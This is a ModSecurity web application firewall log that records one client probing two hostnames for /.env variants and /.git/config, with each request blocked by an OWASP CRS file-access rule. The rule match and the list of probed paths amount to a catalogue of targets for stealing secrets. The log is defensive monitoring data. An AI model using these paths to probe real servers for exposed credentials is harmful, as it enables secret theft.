[Sat Oct 24 21:49:31.105829 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1gKzKiZtbKEGWJKoLWQAAAACE"]
[Sat Oct 24 21:49:31.106073 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1gKzKiZtbKEGWJKoLWQAAAACE"]
[Sat Oct 24 21:49:31.106448 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1gKzKiZtbKEGWJKoLWQAAAACE"]
[Sat Oct 24 21:49:31.161889 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1gKzKiZtbKEGWJKoLWQQAAACE"]
[Sat Oct 24 21:49:31.162113 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1gKzKiZtbKEGWJKoLWQQAAACE"]
[Sat Oct 24 21:49:31.162454 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1gKzKiZtbKEGWJKoLWQQAAACE"]
[Sat Oct 24 21:49:31.217435 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1gKzKiZtbKEGWJKoLWQgAAACE"]
[Sat Oct 24 21:49:31.217665 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1gKzKiZtbKEGWJKoLWQgAAACE"]
[Sat Oct 24 21:49:31.218053 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1gKzKiZtbKEGWJKoLWQgAAACE"]
[Sat Oct 24 21:49:31.218825 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1gKz8oejtZfsaip1YpAgAAABE"]
[Sat Oct 24 21:49:31.219006 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1gKz8oejtZfsaip1YpAgAAABE"]
[Sat Oct 24 21:49:31.219284 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1gKz8oejtZfsaip1YpAgAAABE"]
[Sat Oct 24 21:49:31.303120 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1gKzKiZtbKEGWJKoLWQwAAACE"]
[Sat Oct 24 21:49:31.303311 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1gKzKiZtbKEGWJKoLWQwAAACE"]
[Sat Oct 24 21:49:31.303570 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1gKzKiZtbKEGWJKoLWQwAAACE"]
[Sat Oct 24 21:49:31.345474 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1gKz8oejtZfsaip1YpBAAAABE"]
[Sat Oct 24 21:49:31.345698 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1gKz8oejtZfsaip1YpBAAAABE"]
[Sat Oct 24 21:49:31.346056 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1gKz8oejtZfsaip1YpBAAAABE"]
[Sat Oct 24 21:49:31.353192 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1gKzKiZtbKEGWJKoLWRAAAACE"]
[Sat Oct 24 21:49:31.353360 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1gKzKiZtbKEGWJKoLWRAAAACE"]
[Sat Oct 24 21:49:31.353575 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1gKzKiZtbKEGWJKoLWRAAAACE"]
[Sat Oct 24 21:49:31.393850 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1gKzKiZtbKEGWJKoLWRQAAACE"]
[Sat Oct 24 21:49:31.394053 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1gKzKiZtbKEGWJKoLWRQAAACE"]
[Sat Oct 24 21:49:31.394365 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1gKzKiZtbKEGWJKoLWRQAAACE"]
[Sat Oct 24 21:49:31.422275 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1gKz8oejtZfsaip1YpBQAAABE"]
[Sat Oct 24 21:49:31.422464 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1gKz8oejtZfsaip1YpBQAAABE"]
[Sat Oct 24 21:49:31.422722 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1gKz8oejtZfsaip1YpBQAAABE"]
[Sat Oct 24 21:49:31.439080 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1gKzKiZtbKEGWJKoLWRgAAACE"]
[Sat Oct 24 21:49:31.439273 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1gKzKiZtbKEGWJKoLWRgAAACE"]
[Sat Oct 24 21:49:31.439491 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1gKzKiZtbKEGWJKoLWRgAAACE"]
[Sat Oct 24 21:49:31.513133 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1gKz8oejtZfsaip1YpBgAAABE"]
[Sat Oct 24 21:49:31.513386 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1gKz8oejtZfsaip1YpBgAAABE"]
[Sat Oct 24 21:49:31.513731 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1gKz8oejtZfsaip1YpBgAAABE"]
[Sat Oct 24 21:49:31.561845 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1gKzKiZtbKEGWJKoLWRwAAACE"]
[Sat Oct 24 21:49:31.562090 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1gKzKiZtbKEGWJKoLWRwAAACE"]
[Sat Oct 24 21:49:31.562456 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1gKzKiZtbKEGWJKoLWRwAAACE"]
[Sat Oct 24 21:49:31.588811 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1gKz8oejtZfsaip1YpBwAAABE"]
[Sat Oct 24 21:49:31.588987 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1gKz8oejtZfsaip1YpBwAAABE"]
[Sat Oct 24 21:49:31.589249 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1gKz8oejtZfsaip1YpBwAAABE"]
